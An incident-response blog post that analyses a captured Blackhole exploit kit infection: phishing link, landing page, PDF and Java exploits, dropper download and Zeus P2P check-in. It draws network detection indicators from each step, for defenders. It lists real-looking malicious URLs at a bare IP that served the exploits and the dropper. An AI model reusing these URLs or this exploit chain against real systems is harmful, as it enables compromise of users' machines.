Common Indicators Used to Find Evil

By Grant Warkins Advisory Practice Consultant RSA/NetWitness Incident Response

Based on the last few Incident Response engagements I’ve participated in, the most common question I’ve heard is “what are the common indicators you are using to find evil?” This is not a question that has a simple answer.  In this blog post, I’ll examine a Blackhole exploit kit session and discuss the various network indicators that analysts should be looking for when identifying host exploitation and associated binaries.   The intent here is not to pick apart malware or de-obfuscate JavaScript, but to show how asking simple questions about your network traffic can reveal the bad stuff being missed by your other security products.

For this exercise, I’m utilizing a packet capture (PCAP) associated with a zero day exploit used by the Blackhole exploit kit 2.0.  This PCAP can be found on the Contagio malware repository managed by Mila Parkour[1].

This scenario begins with a phishing email attempting to spoof correspondence with a popular data processing outsourcing provider.  A user that clicks on the link with Firefox as the default browser will initiate the following HTTP GET request:

Figure 1: Initial HTTP GET Request

The response is a common indicator of a Blackhole exploit kit landing page, as noted by the text “WAIT PLEASE Loading…”, followed by JavaScript pointing to links associated with active redirectors.

Figure 2: Example of Blackhole Exploit Kit Landing Page

NOTE: Be careful when building IDS rules based on the HTML text above due to the high possibility of false positives. However, note that the folder names in the URL path contain 8 random alphanumeric characters.

Figure 3: Sample GET Request From Landing Page

Both URLs point to the same redirector containing the exploits to be served to the host:

Figure 4: Redirector Points to Host Containing Exploits

NOTE:  The ETag associated with this file was also found in PCAPs associated with other redirectors and could provide a useful indicator to be used in an IDS signature.

As shown in the GET request below, a common red flag for analysts to review is an HTTP GET request directly to an IP address.  While there are occasions where this is normal, it’s a good practice to verify that a direct HTTP request to an IP is benign.

Figure 5: Get Request Sent to Server Containing Exploit Code

Accessing this page dynamically generates heavily obfuscated JavaScript containing a URL pointing to PDF and Java exploits (Decoding this JavaScript will be discussed in a future blog post).

Figure 6: Sample of Obfuscated JavaScript and Associated Jar File

Two of the links generated point to an unsuccessful PDF exploit for CVE-2010-0188:

• 69.194.193.34/links/systems-links_warns.php?ljpcwedu=0206360203&unnioab=41&phjf=35353306040934370b06&jct=0b0006000200030b07.

• 69.194.193.34/systems-links_warns.php?nfezhok=0906343704&sbipbq=3dzz7ecg=35353306040934370b06&qara=0b0007000400040b07.  This appears to be a second attempt due to the first being unsuccessful.

The PDFs contain the following shellcode, which contains the URL for the downloader:

Figure 7:  Exploit Code From Malicious PDF

The third link accessed is associated with a Java JAR file that contained exploit code for CVE-2012-1723 and CVE-2012-4681 (Additional review of the JAR file will also be covered in a separate blog).  The successful exploit causes the host to download the dropper “calc.exe” from 69.194.193.34/links/systems-links_warns.php?tf=0206360203&le=35353306040934370b06&i=02&jy=b&fg=h.

Figure 8: Get Request for Downloader

NOTE:  Another red flag for network analysis is shown above with the inclusion of Java/1.7.0_06 being referenced in the User-Agent field.  Outside of Java updates, it is not normal to see this and the associated sessions should be reviewed.The response contains additional red flags that should be also be considered:

Figure 9: Response to HTTP GET Request for the Downloader

• Content-Type does not match what was in the Accept field in the GET request.
• Content-Disposition with filename.  This forces the save-as feature to download the file with that name and often indicates an automated download.

With the downloader now on the host and executed, we see it check-in:

Figure 10: Encrypted HTTP POST From Downloader

NOTE:  The above HTTP POST contains several red flags:

• The User-Agent string contains Windows 98.
• HTTP POST direct to an IP.
• HTTP POST without an associated referrer field.
• HTTP POST header contains HTTP/1.0.  This is not normally seen associated with modern browsers or tools.

Figure 11: Downloader C2 Response

With the check-in complete, it pulls down the Zeus Trojan

Figure 12: HTTP GET Request for Zeus

Figure 13: Response to HTTP GET Request for Zeus

Finally, we see random UDP data being sent to seemingly random IP addresses, which is a good indicator that the Zeus version downloaded was P2P capable, without having to statically analyze it.

Figure 14: Sample Zeus P2P Packet Metadata

So, just from quickly analyzing the Blackhole exploit kit in action, we’ve identified several key network indicators that analysts should keep an eye out for.  These indicators can be easily automated by your tool of choice, be it an IDS or a NetWitness Decoder and can be grouped to reduce the amount of false positive hits.  Additionally, products such as NetWitness are migrating to a unified analytics approach, which are automating the implementation of well-known indicators as they become known within the malware intelligence community.  The table below summarizes the network indicators we’ve identified:

Figure 15: Sample P2P Data Sent By Zeus

HTTP Response containing “<h1>WAIT PLEASE</h1>

 <h3>Loading...</h3>”

Figure 16: Summary of Common Network Indicators